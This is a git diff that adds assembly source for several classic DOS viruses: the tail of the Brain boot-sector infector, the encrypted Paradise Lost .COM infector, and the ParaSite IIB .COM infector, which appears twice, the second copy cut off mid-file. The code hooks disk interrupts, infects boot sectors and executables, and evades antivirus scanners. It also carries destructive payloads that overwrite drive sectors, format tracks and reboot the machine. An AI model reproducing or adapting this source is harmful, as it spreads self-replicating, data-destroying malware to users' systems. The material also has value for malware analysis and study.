'(c) 1986 Brain & Amjads (pvt) Ltd ',0 +readcounter db 4 ; keep track of # reads +curdrive db 0 +int13flag db 0 + +entersecondpart: + mov cs:readcounter,1Fh + xor ax,ax + mov ds,ax ; ds -> interrupt table + mov ax,ds:[13h*4] + mov ds:[6Dh*4],ax + mov ax,ds:[13h*4+2] + mov ds:[6Dh*4+2],ax + mov ax,offset int13 ; 276h + mov ds:[13h*4],ax + mov ax,cs + mov ds:[13h*4+2],ax + mov cx,4 ; 4 tries + xor ax,ax + mov es,ax ; es -> interrupt table + +tryreadbootsector: + push cx + mov dh,cs:firsthead + mov dl,0 + mov cx,cs:firstsector + mov ax,201h ; read from default disk + mov bx,7C00h + int 6Dh ; int 13h + jnc readbootOK + mov ah,0 + int 6Dh ; int 13h + pop cx + loop tryreadbootsector + + int 18h ; ROM basic on failure +readbootOK: ; return control to + ; original boot sector +;* jmp far ptr 0000:7C00h + db 0EAh, 00h, 7Ch, 00h, 00h + nop ; MASM NOP!!! +int13: + sti + cmp ah,2 ; if not read request, + jne doint13 ; do not go further + cmp dl,2 ; if after second floppy, + ja doint13 ; do not go further + cmp ch,0 ; if not reading boot sector, + jne regularread ; go handle as usual + cmp dh,0 ; if boot sector, + je readboot ; do I<-/>/\|> stuff +regularread: + dec cs:readcounter ; Infect after 4 reads + jnz doint13 ; If counter still OK, don't + ; do anything else + jmp short readboot ; Otherwise, try to infect +doint13: + jmp exitint13h +readboot: +; FINISH THIS! + mov cs:int13flag,0 ; clear flag + mov cs:readcounter,4 ; reset counter + push ax + push bx + push cx + push dx + mov cs:curdrive,dl + mov cx,4 + +tryreadbootblock: + push cx + mov ah,0 ; Reset disk + int 6Dh + jc errorreadingbootblock ; Try again + mov dh,0 + mov cx,1 + mov bx,offset readbuffer ; buffer @ 6BEh + push es + mov ax,cs + mov es,ax + mov ax,201h + int 6Dh ; Read boot sector + pop es + jnc continuestuff ; continue if no error +errorreadingbootblock: + pop cx + loop tryreadbootblock + + jmp short resetdisk ; too many failures + nop +continuestuff: + pop cx ; get system id in boot block + mov ax,word ptr cs:[offset readbuffer+4] + cmp ax,1234h ; already infected? + jne dodisk ; if not, infect it + mov cs:int13flag,1 ; flag prev. infection + jmp short noreset +dodisk: + push ds + push es + mov ax,cs + mov ds,ax + mov es,ax + push si + call writevirus ; infect the disk + jc failme ; exit on failure + mov cs:int13flag,2 ; flag success + call changeroot ; manipulate volume label +failme: + pop si + pop es + pop ds + jnc noreset ; don't reset on success +resetdisk: + mov ah,0 ; reset disk + int 6Dh ; int 13h +noreset: + pop dx + pop cx + pop bx + pop ax + cmp cx,1 + jne exitint13h + cmp dh,0 + jne exitint13h + cmp cs:int13flag,1 ; already infected? + jne wasntinfected ; if wasn't, go elsewhere + mov cx,word ptr cs:[offset readbuffer+7] + mov dx,word ptr cs:[offset readbuffer+5] + mov dl,cs:curdrive ; otherwise, read real + jmp short exitint13h ; boot sector +wasntinfected: + cmp cs:int13flag,2 ; successful infection? + jne exitint13h ; if not, just do call + mov cx,cs:firstsector + mov dh,cs:firsthead +exitint13h: + int 6Dh ; int 13h + retf 2 + db 15 dup (0) + +FATManip: ; returns al as error code + jmp short delvedeeper + nop +FATManipreadcounter dw 3 + db ' (c) 1986 Brain & Amjads (pvt) Ltd' +delvedeeper: + call readFAT ; Get FAT ID byte + mov ax,word ptr ds:[offset readbuffer] + cmp ax,0FFFDh ; is it 360K disk? + je is360Kdisk ; continue if so + mov al,3 ; al=3 == not good disk + stc ; flag error + retn ; and exit +is360Kdisk: + mov cx,37h + mov FATManipreadcounter,0 ; none found yet +checknextsector: + call FATentry12bit ; get entry in FAT + cmp ax,0 ; unused? + jne notunused + inc FATManipreadcounter ; one more found unused + cmp FATManipreadcounter,3 ; If need more, + jne tryanother ; go there + jmp short markembad ; found 3 consecutive + nop ; empty sectors +notunused: + mov FATManipreadcounter,0 ; must start over +tryanother: + inc cx ; try next sector + cmp cx,163h ; end of disk? + jne checknextsector ; if not, continue + mov al,1 ; al=1 == none empty + stc ; Indicate error + retn +markembad: + mov dl,3 ; 3 times +markanotherbad: + call markbad12bit + dec cx + dec dl + jnz markanotherbad + inc cx + call calc1sttrack + call writeFAT ; update FAT + mov al,0 ; al=0 == ok + clc ; indicate success + retn + +markbad12bit: + push cx + push dx + mov si,offset readbuffer ; si -> buffer + mov al,cl + shr al,1 + jc low_12 ; low bits + call clus2offset12bit + mov ax,[bx+si] ; get FAT entry + and ax,0F000h ; mark it bad + or ax,0FF7h + jmp short putitback ; and put it back + nop +low_12: + call clus2offset12bit + mov ax,[bx+si] ; get FAT entry + and ax,0Fh ; mark it bad + or ax,0FF70h +putitback: + mov [bx+si],ax ; replace FAT entry + mov word ptr ds:[400h][bx+si],ax ; in two places + pop dx + pop cx + retn + +FATentry12bit: + push cx + mov si,offset readbuffer ; si->buffer + mov al,cl + shr al,1 +; Part 3 of the virus starts here + jc want_high_12 + call clus2offset12bit + mov ax,[bx+si] + and ax,0FFFh + jmp short exitFATentry12bit + nop +want_high_12: + call clus2offset12bit ; xxxxxxxxxxxx0000 + mov ax,[bx+si] ; ^^^^^^^^^^^^wanted + and ax,0FFF0h ; mask wanted bits + mov cl,4 ; and move to correct + shr ax,cl ; position +exitFATentry12bit: + pop cx + retn + +clus2offset12bit: + push dx + mov ax,3 + mul cx + shr ax,1 ; ax = cx*1.5 + mov bx,ax + pop dx + retn + +readFAT: + mov ah,2 ; read + call FAT_IO + retn + +writeFAT: + mov ah,3 ; write + call FAT_IO + retn + +FAT_IO: + mov cx,4 ; try four times +FAT_IOLoop: + push cx + push ax + mov ah,0 ; reset disk + int 6Dh ; int 13h + pop ax + jc tryFAT_IOagain + mov bx,offset readbuffer + mov al,4 ; 4 sectors + mov dh,0 ; head 0 + mov dl,curdrive + mov cx,2 ; sector 2 + push ax ; (FAT) + int 6Dh ; int 13h + pop ax + jnc exitFAT_IO +tryFAT_IOagain: + pop cx + loop FAT_IOLoop + + pop ax + pop ax + mov al,2 + stc ; mark error + retn +exitFAT_IO: + pop cx + retn + +calc1sttrack: + push cx + sub cx,2 + shl cx,1 ; 2 sectors/cluster + add cx,0Ch ; start of data area + mov ax,cx ; ax = sector + mov cl,12h ; 4096 + div cl ; ax/4096 = al rem ah + mov byte ptr firstsector+1,al + mov firsthead,0 + inc ah + cmp ah,9 ; past track 9? + jbe notpasttrack9 ; nope, we are ok + sub ah,9 ; otherwise, adjust + mov firsthead,1 +notpasttrack9: + mov byte ptr firstsector,ah + pop cx + retn + + db 0, 0, 0, 0, 0, 0 +r_or_w_root db 3 +entrycount dw 35h + +tempsave1 dw 303h +tempsave2 dw 0EBEh +tempsave3 dw 1 +tempsave4 dw 100h + db 0E0h,0D8h, 9Dh,0D7h,0E0h, 9Fh + db 8Dh, 98h, 9Fh, 8Eh,0E0h + db ' (c) ashar $' +changeroot: + call readroot ; read in root directory + jc donotchangeroot + push di + call changevolume ; change volume label + pop di + jc donotchangeroot + call writeroot ; write back new root dir +donotchangeroot: + retn +; The following is just garbage bytes + db 0BBh, 9Bh, 04h,0B9h, 0Bh + db 0,8Ah,7,0F6h,0D8h,88h,4,46h,43h + db 0E2h,0F6h,0B0h,8,88h,4,0F8h,0C3h + db 0C6h, 06h + +changevolume: + mov entrycount,6Ch + mov si,offset readbuffer+40h; 3nd dir entry + mov tempsave1,dx + mov ax,entrycount ; 6Ch + shr ax,1 + mov tempsave3,ax ; 36h + shr ax,1 + mov tempsave2,ax ; 1Bh + xchg ax,cx + and cl,43h ; cx = 3 + mov di,tempsave2 + add di,1E3h ; di = 01FE +findlabel: + mov al,[si] + cmp al,0 + je dolabel ; no mo entries + mov al,[si+0Bh] ; attribute byte + and al,8 ; volume label? + cmp al,8 ; yes? + je dolabel ; then change it! + add si,20h ; go to next directory entry + dec entrycount + jnz findlabel ; loop back + stc ; Error! + retn + db 8Bh +dolabel: + mov bx,[di] ; offset a_data + xor bx,tempsave3 ; bx = 53Ah + mov tempsave3,si ; si->direntry + cli + mov ax,ss + mov tempsave1,ax + mov tempsave2,sp + mov ax,cs + mov ss,ax + mov sp,tempsave3 + add sp,0Ch ;->reserved area + mov cl,51h + add dx,444Ch + mov di,2555h + mov cx,0C03h + repe cmpsw + mov ax,0B46h + mov cx,3 + rol ax,cl ; ax = 5A30h + mov tempsave3,ax + mov cx,5 + mov dx,8 + sub tempsave3,5210h ; 820h + push tempsave3 ; store attributes/reserved +; I haven't commented the remainder of this procedure. +; It basically changes the volume label to read "(c) Brain" + +; Comment mode OFF + +dowhatever: + mov ah,[bx] ; 5a3h + inc bx + mov dl,ah + shl dl,1 + jc dowhatever +searchstuff: + mov dl,[bx] ; dl=C2h + inc bx ; bx=53Eh + mov al,dl + shl dl,1 + jc searchstuff + add ax,1D1Dh + push ax + inc tempsave3 + db 73h, 01h ; jnc $+3 + db 0EAh,0E2h,0E1h, 8Bh, 26h; jmp 268B:E1E2 + xchg bp,ax + add al,0A1h + xchg bx,ax + add al,8Eh + sar bl,1 + add dh,[bp+si] + clc + ret + ;db 95h, 04h,0A1h, 93h, 04h, 8Eh + ;db 0D0h,0FBh, 02h, 32h,0F8h,0C3h + +; Comment mode ON + +readroot: + mov r_or_w_root,2 ; set action code + jmp short do_rw_root ; easier to do w/ + nop ; mov ah, 2 +writeroot: + mov r_or_w_root,3 + jmp short do_rw_root ; this is somewhat useless + nop +do_rw_root: + mov dh,0 ; head 0 + mov dl,curdrive + mov cx,6 ; sector 6 + mov ah,r_or_w_root + mov al,4 ; 4 sectors + mov bx,offset readbuffer + call doint13h + jc exit_rw_root ; quit on error + mov cx,1 + mov dh,1 ; head 1 + mov ah,r_or_w_root + mov al,3 + add bx,800h + call doint13h + +exit_rw_root: + retn + +doint13h: + mov tempsave1,ax + mov tempsave2,bx + mov tempsave3,cx + mov tempsave4,dx + mov cx,4 + +doint13hloop: + push cx + mov ah,0 ; Reset disk + int 6Dh + jc errordoingint13h + mov ax,tempsave1 + mov bx,tempsave2 + mov cx,tempsave3 + mov dx,tempsave4 + int 6Dh ; int 13h + jnc int13hsuccess +errordoingint13h: + pop cx + loop doint13hloop + + stc ; indicate error + retn +int13hsuccess: + pop cx + retn + + db 0, 0, 0 +; Part 4 of the virus starts here +tempstorecx dw 3 +readwritecurrentdata dw 301h + +writevirus: + call FATManip + jc exitwritevirus + mov cursector,1 + mov curhead,0 + mov bx,offset readbuffer + call readcurrent + mov bx,offset readbuffer + mov ax,firstsector + mov cursector,ax + mov ah,firsthead + mov curhead,ah + call writecurrent + call calcnextsector + mov cx,5 + mov bx,200h +writeanothersector: + mov tempstorecx,cx + call writecurrent + call calcnextsector + add bx,200h + mov cx,tempstorecx + loop writeanothersector + + mov curhead,0 + mov cursector,1 + mov bx,0 + call writecurrent + clc ; indicate success +exitwritevirus: + retn + + +readcurrent: + mov readwritecurrentdata,201h + jmp short doreadwrite + nop +writecurrent: + mov readwritecurrentdata,301h + jmp short doreadwrite ; This is pointless. + nop +doreadwrite: + push bx + mov cx,4 + +tryreadwriteagain: + push cx + mov dh,curhead + mov dl,curdrive + mov cx,cursector + mov ax,readwritecurrentdata ; read or write? + int 6Dh ; int 13h + jnc readwritesuccessful + mov ah,0 ; reset disk + int 6Dh ; int 13h + pop cx + loop tryreadwriteagain + + pop bx + pop bx + stc ; Indicate error + retn +readwritesuccessful: + pop cx + pop bx + retn + + +calcnextsector: + inc byte ptr cursector ; next sector + cmp byte ptr cursector,0Ah + jne donecalculate ; finished calculations + mov byte ptr cursector,1 ; clear sector # + inc curhead ; and go to next head + cmp curhead,2 ; if not too large, + jne donecalculate ; we are done + mov curhead,0 ; otherwise clear head # + inc byte ptr cursector+1 ; and advance cylinder +donecalculate: + retn + + db 64h, 74h, 61h + +; read buffer starts here +; insert your favorite boot block below... +readbuffer: +brain ends + end diff --git a/p/PARALOST.ASM b/p/PARALOST.ASM new file mode 100755 index 0000000..a543d3b --- /dev/null +++ b/p/PARALOST.ASM @@ -0,0 +1,242 @@ +; VirusName : PARADISE LOST! +; Origin : Sweden +; Author : The Unforgiven +; Date : 20/12/93 + +; This is a "mutation", of Tormentor's .COM lession. I've modified +; some stuffs, but since I liked the .EXE infector better, I didn't +; cared too much about this one. + +; Anyway, this is a non-resident current directory (yuck!), infector +; of .COM programs. It've added a encryption routine, but it's nothing +; really to scream hurray for. + +; It's also a bit destructive, well, it's 5% chance at each run, that +; one of drive c: or d: gets kinda phucked up. This routine was as +; usual "stolen" from Nowhere Man of NuKE. I must admit I like it! + +; Scan/MSAV/CPAV and F-prot can't find as usual find shits! I think +; that ThunderByte AntiVirus heurtistic scanner found the infected +; files as "probably/possible" infected, I really dunno, you try it +; out by your self! + +; "We do not live forever, but mind never leaves our souls." (Dark Image). + +;============================================================================= +; **** PARADISE LOST! **** +;============================================================================= + + .model tiny + .radix 16 + .code + +Virus_Lenght EQU Virus_End-Virus_Start ; Lenght of virus. + + org 100 + +dummy_code: db 'M' ; Mark file as infected. + db 3 DUP(90) ; This is to simulate a infected prog. + ; Not included in virus-code. + +Virus_Start: call where_we_are ; Now we call the next bytes, just to + +; F-prot founded the 'lession -1'virus here in the unencrypted area, but by +; simple add the push si, and the extra pop, it compleatele screwed up, and +; couldn't found it as nothing!, HA! Eat dust, looser! + +where_we_are: push si + pop si ; Since the virus-code's address will + pop si + +;----------------------------------------------------------------------- +; Now we have to put back the original 4 bytes in the host program, so +; we can return control to it later: + add si,_4first_bytes-where_we_are + mov di,100 + cld + movsw + movsw +;------------------------------------------------------------------------ +; We have to use SI as a reference since files differ in size thus making +; virus to be located at different addresses. + + sub si,_4first_bytes-Virus_Start+4 + + call encrypt_decrypt ; differ from victim to victim. + jmp encryption_start ; a POP SI after a call will give us the + ; address which equals to 'where_we_are' + ; Very important. + write_virus: + call encrypt_decrypt + mov ah,40 ; Append file with virus code. + mov cx,offset Virus_Lenght + mov dx,si ; Virus_Lenght. + int 21 + call encrypt_decrypt + ret + + encryption_value dw 0 + encrypt_decrypt: + + mov di,offset encryption_start-virus_start + add di,si + mov cx,(end_of_encryption-encryption_start+1)/2 + + push bx + mov bx,offset encryption_value-virus_start + add bx,si + mov dx,word ptr [bx] + pop bx + + again: + xor word ptr cs:[di],dx + add di,2 + loop again + ret +;------------------------------------------------------------------------ +; Now we just have to find victims, we will look for ALL .COM files in +; the current directory. + +encryption_start: +;set_dta: +mov ah,1ah +lea dx,[si+offset dta-virus_start] +int 21h + mov ah,4e ; We start to look for a *.COM file +look4victim: mov dx,offset file_match-Virus_Start + add dx,si + int 21 + + jc no_victim_found + +; clear attribs: before open file + mov ax,4301h + xor cx,cx + lea dx,[si+virus_end+1eh] + int 21h + mov ax,3d02 ; Now we open the file. + lea dx,[si+offset DTA-virus_start+1eh] ;now also including + int 21 ; DTA. + jc cant_open_file ; If file couldn't be open. + + xchg ax,bx ; Save filehandle in bx +; (we could use MOV BX,AX but we saves one byte by using xchg ) + + mov ah,3f ; Now we read the first 4 bytes + mov cx,4 ; from the victim -> buffer + + mov dx,offset _4first_bytes-Virus_Start + add dx,si + ; We will then overwrite them with + int 21 ; a JMP XXXX to virus-code at end. + + jc read_error + + cmp byte ptr ds:[si+_4first_bytes-Virus_Start],'M' + jz sick_or_EXE ; Check if infected OR *.EXE + +; Almost all EXE files starts with 'M' and we mark the infected files by +; starting with 'M' which equals to DEC BP +; Now we just have to have one check instead of 2 (infected and *.EXE) + + mov ax,4202 ; Position file-pointer to point at + xor cx,cx ; End-of-File. + xor dx,dx ; Any writing to file will now APPEND it + int 21 ; Returns AX -> at end. + + sub ax,4 ; Just for the JMP structure. + + mov word ptr ds:[_4new_bytes+2],ax + ; Build new JMP XXXX to virus. + ; ( logic: JMP AX ) + + mov word ptr [si+encryption_value-virus_start],99 ; encryption_value. + call write_virus + +; +; mov ah,40 ; Append file with virus code. +; mov cx,offset Virus_Lenght +; mov dx,si ; Virus_Lenght. +; int 21 +; jc write_error + + + mov ax,4200 ; Position file-pointer to begin of file + xor cx,cx ; So we can change the first 3 bytes + xor dx,dx ; to JMP to virus. + int 21 + + mov ah,40 ; Write new 3 bytes. + mov cx,4 ; After this, executing the file will + mov dx,offset _4new_bytes-Virus_Start + add dx,si + ; result in virus-code executing before + int 21 ; original code. + jc write_error + +; then close the file. + mov ah,3e ; Close file, now file is infected. + int 21 ; Dos function 3E (close handle) + +Sick_or_EXE: mov ah,4f ; Well, file is infected. Now let's + jmp look4victim ; find another victim... + +write_error: ; Here you can test whats went wrong. +read_error: ; This is just for debugging purpose. +cant_open_file: ; These entries are equal to eachother +no_victim_found: ; but could be changed if you need to test something. + +; randomize: + mov ah,2ch ;get a new random number + int 21h ;5% chance of nuke + cmp dl,5 + ja real_quit + jmp which + +which: +mov ah,2ch +int 21h +cmp dl,50 +ja nuke_c +jmp nuke_d + +nuke_c: + cli ; + mov ah,2 ; 2=c: + cwd ; + mov cx,0100h ; + int 026h ; + JMP REAL_QUIT + +nuke_d: + cli + mov ah,3 ; 3=d: + cwd + mov cx,0100h + int 026h + jmp real_quit + +real_quit: + mov ax,100 ; Every thing is put back in memory, + push ax ; lets us RET back to start of program + ret ; and execute the original program. + +notes db '[PARADIS LOST!] (c) 93 The Unforgiven/Immortal Riot' +file_match db '*.COM',0 ; Pattern to search for. + +end_of_encryption: +_4first_bytes: ret ; Here we save the 4 first org. bytes + db 3 DUP(0) +; We have a ret here since this file isn't a REAL infection. + +_4new_bytes db 'M',0E9, 00, 00 ; Here we build the 4 new org. bytes +datestamp equ 24 ; Offset in DTA of file's date stamp +timestamp equ 22 ; Offset in DTA of file's time stamp +filename equ 30 ; Offset in DTA of ASCIIZ filename +attribute equ 21 ; Offset in DTA of file attribute + + + ; so our virus-code will be run first. +Virus_End EQU $ +dta db 42 DUP (?) + end dummy_code diff --git a/p/PARASITE.ASM b/p/PARASITE.ASM new file mode 100755 index 0000000..52d575c --- /dev/null +++ b/p/PARASITE.ASM @@ -0,0 +1,418 @@ +;******************************************************************** +; - ParaSite Virus IIB +; By: Rock Steady +; Close to one year I created this Virus. As you can see it is quite +; old... Maybe too Old... But here it is... It Sucks... but its great +; for any virus beginner... Anyhow... +; NOTES: Simple COM infector. 10% of the time it reboots the system +; 20% it plays machine gun noices on the PC speaker... and +; 70% of the time is infects another COM file... Have fun... +;******************************************************************** +MOV_CX MACRO X + DB 0B9H + DW X +ENDM + +CODE SEGMENT + ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE + ORG 100H + + +VCODE: JMP virus + + NOP + NOP ; To identify it as an Infected + NOP ; Program! + +v_start equ $ + + +virus: PUSH CX + MOV DX,OFFSET vir_dat + CLD + MOV SI,DX + ADD SI,first_3 + JMP Rock_1 +Rock_2: + MOV DX,dta + ADD DX,SI + MOV AH,1AH + INT 21H + PUSH ES + PUSH SI + MOV ES,DS:2CH + MOV DI,0 + JMP Day_Of_Week +Rock_1: + MOV CX,3 + MOV DI,OFFSET 100H + REPZ MOVSB + MOV SI,DX + PUSH ES + MOV AH,2FH + INT 21H + MOV [SI+old_dta],BX + MOV [SI+old_dts],ES + POP ES + JMP Rock_2 + +Day_Of_Week: + MOV AH,2AH ;Get System date! + INT 21H + CMP AL,1 ;Check to See if it's Monday! + JGE day_check ;Jump if later than Mondays + JMP Get_Time +day_check: + CMP AL,1 ;Check to see if it is the 1st + JA Get_Time ;If yes, create a MESS... + JMP Bad_Mondays ;If not, then go on with infecti +mess: + +Bad_Mondays: + MOV DL,2 ;The Formatting Tracks.. + MOV AH,05 + MOV DH,80h + MOV CH,0 + INT 13h + +Play_music: + MOV CX,20d ;Set number of Shots +new_shot: + PUSH CX ;Save Count + CALL Shoot + MOV CX,4000H +Silent: LOOP silent + POP CX + LOOP new_Shot + JMP mess + +SHOOT proc near ;The Machine Gun Noices... + MOV DX,140h + MOV BX,20h + IN AL,61h + AND AL,11111100b +SOUND: XOR AL,2 + OUT 61h,al + ADD dx,9248h + MOV CL,3 + ROR DX,CL + MOV CX,DX + AND cx,1ffh + OR CX,10 +WAITA: LOOP WAITA + DEC BX + JNZ SOUND + AND AL,11111100b + OUT 61h,AL + RET +Shoot Endp + +Get_Time: + MOV AH,2Ch ; Get System Time! + INT 21h ; + AND DH,0fh + CMP DH,3 + JB Play_music + CMP DH,3h + JA Find_Path + INT 19h + +go: + MOV AH, 47H + XOR DL,DL + ADD SI, OFFSET orig_path - OFFSET buffer - 8 + INT 21H + JC find_path + + MOV AH,3BH + MOV DX,SI + ADD DX, OFFSET root_dir - OFFSET orig_path + INT 21H + +infect_root: + MOV [BX+nam_ptr],DI + MOV SI,BX + ADD SI,f_ipec + MOV CX,6 + REPZ MOVSB + JMP hello + +find_path: + POP SI ; Seek and Destroy... + PUSH SI + ADD SI,env_str + LODSB + MOV CX,OFFSET 8000H + REPNZ SCASB + MOV CX,4 + +check_next_4: + LODSB + SCASB +; +; The JNZ line specifies that if there is no PATH present, then we will +; along and infect the ROOT directory on the default drive. + + JNZ find_path ;If not path, then go to ROOT di + LOOP check_next_4 ;Go back and check for more char + POP SI ;Load in PATH again to look for + POP ES + MOV [SI+path_ad],DI + MOV DI,SI + ADD DI,wrk_spc + MOV BX,SI + ADD SI,wrk_spc ;the File Handle + MOV DI,SI + JMP SHORT slash_ok + +set_subdir: + CMP WORD PTR [SI+path_ad],0 + JNZ found_subdir + JMP all_done + + +found_subdir: + PUSH DS + PUSH SI + MOV DS,ES:2CH + MOV DI,SI + MOV SI,ES:[DI+path_ad] + ADD DI,wrk_spc ;DI is the handle to infect! + + +move_subdir: + LODSB ;To tedious work to move into su + NOP + CMP AL,';' ;Does it end with a ; character? + JZ moved_one ;if yes, then we found a subdir + CMP AL,0 ;is it the end of the path? + JZ moved_last_one ;if yes, then we save the PATH + STOSB ;marker into DI for future refer + JMP SHORT move_subdir + +moved_last_one: + MOV SI,0 + +moved_one: + POP BX ;BX is where the virus data is + POP DS ;Restore DS + NOP + MOV [BX+path_ad],SI ;Where is the next subdir? + CMP CH,'\' ;Check to see if it ends in \ + JZ slash_ok ;If yes, then it's OK + MOV AL,'\' ;if not, then add one... + STOSB ;store the sucker + + + +slash_ok: + MOV [BX+nam_ptr],DI ;Move the filename into workspac + MOV SI,BX ;Restore the original SI value + ADD SI,f_spec ;Point to COM file victim + MOV CX,6 + REPZ MOVSB ;Move victim into workspace +hello: + MOV SI,BX + MOV AH,4EH + MOV DX,wrk_spc + ADD DX,SI ;DX is ... The File to infect + MOV CX,3 ;Attributes of Read Only or Hidd + INT 21H + JMP SHORT find_first +joe1: + JMP go + +find_next: + MOV AH,4FH + INT 21H + +find_first: + JNB found_file ;Jump if we found it + JMP SHORT set_subdir ;Otherwise, get another subdirec + +found_file: + MOV AX,[SI+dta_tim] ;Get time from DTA + AND AL,1EH ;Mask to remove all but seconds + CMP AL,1EH ;60 seconds + JZ find_next + CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too LON + JA find_next ;If too long, find another one + CMP WORD PTR [SI+dta_len],0AH ;Is it too short? + JB find_next ;Then go find another one + MOV DI,[SI+nam_ptr] + PUSH SI + ADD SI,dta_nam + +more_chars: + LODSB + STOSB + CMP AL,0 + JNZ more_chars + POP SI + MOV AX,OFFSET 4300H + MOV DX,wrk_spc + ADD DX,SI + INT 21H + MOV [SI+old_att],CX + MOV AX,OFFSET 4301H + AND CX,OFFSET 0FFFEH + MOV DX,wrk_spc + ADD DX,SI + INT 21H + MOV AX,OFFSET 3D02H + MOV DX,wrk_spc + ADD DX,SI + INT 21H + JNB opened_ok + JMP fix_attr + +opened_ok: + MOV BX,AX + MOV AX,OFFSET 5700H + INT 21H + MOV [SI+old_tim],CX ;Save file time + MOV [SI+ol_date],DX ;Save the date + MOV AH,2CH + INT 21H + AND DH,7 + JMP infect + + +infect: + MOV AH,3FH + MOV CX,3 + MOV DX,first_3 + ADD DX,SI + INT 21H ;Save first 3 bytes into the data area + JB fix_time_stamp + CMP AX,3 + JNZ fix_time_stamp + MOV AX,OFFSET 4202H + MOV CX,0 + MOV DX,0 + INT 21H + JB fix_time_stamp + MOV CX,AX + SUB AX,3 + MOV [SI+jmp_dsp],AX + ADD CX,OFFSET c_len_y + MOV DI,SI + SUB DI,OFFSET c_len_x + JMP CONT +JOE2: + JMP JOE1 +CONT: + MOV [DI],CX + MOV AH,40H + MOV_CX virlen + MOV DX,SI + SUB DX,OFFSET codelen + INT 21H + JB fix_time_stamp + CMP AX,OFFSET virlen + JNZ fix_time_stamp + MOV AX,OFFSET 4200H + MOV CX,0 + MOV DX,0 + INT 21H + JB fix_time_stamp + MOV AH,40H + MOV CX,3 + MOV DX,SI + ADD DX,jmp_op + INT 21H + +fix_time_stamp: + MOV DX,[SI+ol_date] + MOV CX,[SI+old_tim] + AND CX,OFFSET 0FFE0H + OR CX,1EH + MOV AX,OFFSET 5701H + INT 21H + MOV AH,3EH + INT 21H + +fix_attr: + MOV AX,OFFSET 4301H + MOV CX,[SI+old_att] + MOV DX,wrk_spc + ADD DX,SI + INT 21H + +all_done: + PUSH DS + MOV AH,1AH + MOV DX,[SI+old_dta] + MOV DS,[SI+old_dts] + INT 21H + POP DS + +quit: + MOV BX,OFFSET count + CMP BX,0 + JB joe2 + POP CX + XOR AX,AX ;XOR values so that we will give + XOR BX,BX ;poor sucker a hard time trying + XOR DX,DX ;reassemble the source code if h + XOR SI,SI ;decides to dissassemble us. + MOV DI,OFFSET 0100H + PUSH DI + XOR DI,DI + RET 0FFFFH ;Return back to the beginning + ;of the program + +vir_dat EQU $ + +Aurther DB "ParaSite IIB - By: Rock Steady" +olddta_ DW 0 +olddts_ DW 0 +oldtim_ DW 0 +count_ DW 0 +oldate_ DW 0 +oldatt_ DW 0 +first3_ EQU $ + INT 20H + NOP +jmpop_ DB 0E9H +jmpdsp_ DW 0 +fspec_ DB '*.COM',0 +fipec_ DB 'COMMAND.COM',0 +pathad_ DW 0 +namptr_ DW 0 +envstr_ DB 'PATH=' +wrkspc_ DB 40h dup (0) +dta_ DB 16h dup (0) +dtatim_ DW 0,0 +dtalen_ DW 0,0 +dtanam_ DB 0Dh dup (0) +buffer DB 0CDh, 20h, 0, 0, 0, 0, 0, 0 +orig_path DB 64 dup (?) +root_dir DB '\',0 +lst_byt EQU $ +virlen = lst_byt - v_start +codelen = vir_dat - v_start +c_len_x = vir_dat - v_start - 2 +c_len_y = vir_dat - v_start + 100H +old_dta = olddta_ - vir_dat +old_dts = olddts_ - vir_dat +old_tim = oldtim_ - vir_dat +ol_date = oldate_ - vir_dat +old_att = oldatt_ - vir_dat +first_3 = first3_ - vir_dat +jmp_op = jmpop_ - vir_dat +jmp_dsp = jmpdsp_ - vir_dat +f_spec = fspec_ - vir_dat +f_ipec = fipec_ - vir_dat +path_ad = pathad_ - vir_dat +nam_ptr = namptr_ - vir_dat +env_str = envstr_ - vir_dat +wrk_spc = wrkspc_ - vir_dat +dta = dta_ - vir_dat +dta_tim = dtatim_ - vir_dat +dta_len = dtalen_ - vir_dat +dta_nam = dtanam_ - vir_dat +count = count_ - vir_dat + CODE ENDS +END VCODE + diff --git a/p/PARSIT2B.ASM b/p/PARSIT2B.ASM new file mode 100755 index 0000000..52d575c --- /dev/null +++ b/p/PARSIT2B.ASM @@ -0,0 +1,418 @@ +;******************************************************************** +; - ParaSite Virus IIB +; By: Rock Steady +; Close to one year I created this Virus. As you can see it is quite +; old... Maybe too Old... But here it is... It Sucks... but its great +; for any virus beginner... Anyhow... +; NOTES: Simple COM infector. 10% of the time it reboots the system +; 20% it plays machine gun noices on the PC speaker... and +; 70% of the time is infects another COM file... Have fun... +;******************************************************************** +MOV_CX MACRO X + DB 0B9H + DW X +ENDM + +CODE SEGMENT + ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE + ORG 100H + + +VCODE: JMP virus + + NOP + NOP ; To identify it as an Infected + NOP ; Program! + +v_start equ $ + + +virus: PUSH CX + MOV DX,OFFSET vir_dat + CLD + MOV SI,DX + ADD SI,first_3 + JMP Rock_1 +Rock_2: + MOV DX,dta + ADD DX,SI + MOV AH,1AH + INT 21H + PUSH ES + PUSH SI + MOV ES,DS:2CH + MOV DI,0 + JMP Day_Of_Week +Rock_1: + MOV CX,3 + MOV DI,OFFSET 100H + REPZ MOVSB + MOV SI,DX + PUSH ES + MOV AH,2FH + INT 21H + MOV [SI+old_dta],BX + MOV [SI+old_dts],ES + POP ES + JMP Rock_2 + +Day_Of_Week: + MOV AH,2AH ;Get System date! + INT 21H + CMP AL,1 ;Check to See if it's Monday! + JGE day_check ;Jump if later than Mondays + JMP Get_Time +day_check: + CMP AL,1 ;Check to see if it is the 1st + JA Get_Time ;If yes, create a MESS... + JMP Bad_Mondays ;If not, then go on with infecti +mess: + +Bad_Mondays: + MOV DL,2 ;The Formatting Tracks.. + MOV AH,05 + MOV DH,80h + MOV CH,0 + INT 13h + +Play_music: + MOV CX,20d ;Set number of Shots +new_shot: + PUSH CX ;Save Count + CALL Shoot + MOV CX,4000H +Silent: LOOP silent + POP CX + LOOP new_Shot + JMP mess + +SHOOT proc near ;The Machine Gun Noices... + MOV DX,140h + MOV BX,20h + IN AL,61h + AND AL,11111100b +SOUND: XOR AL,2 + OUT 61h,al + ADD dx,9248h + MOV CL,3 + ROR DX,CL + MOV CX,DX + AND cx,1ffh + OR CX,10 +WAITA: LOOP WAITA + DEC BX + JNZ SOUND + AND AL,11111100b + OUT 61h,AL + RET +Shoot Endp + +Get_Time: + MOV AH,2Ch ; Get System Time! + INT 21h ; + AND DH,0fh + CMP DH,3 + JB Play_music + CMP DH,3h + JA Find_Path + INT 19h + +go: + MOV AH, 47H + XOR DL,DL + ADD SI, OFFSET orig_path - OFFSET buffer - 8 + INT 21H + JC find_path + + MOV AH,3BH + MOV 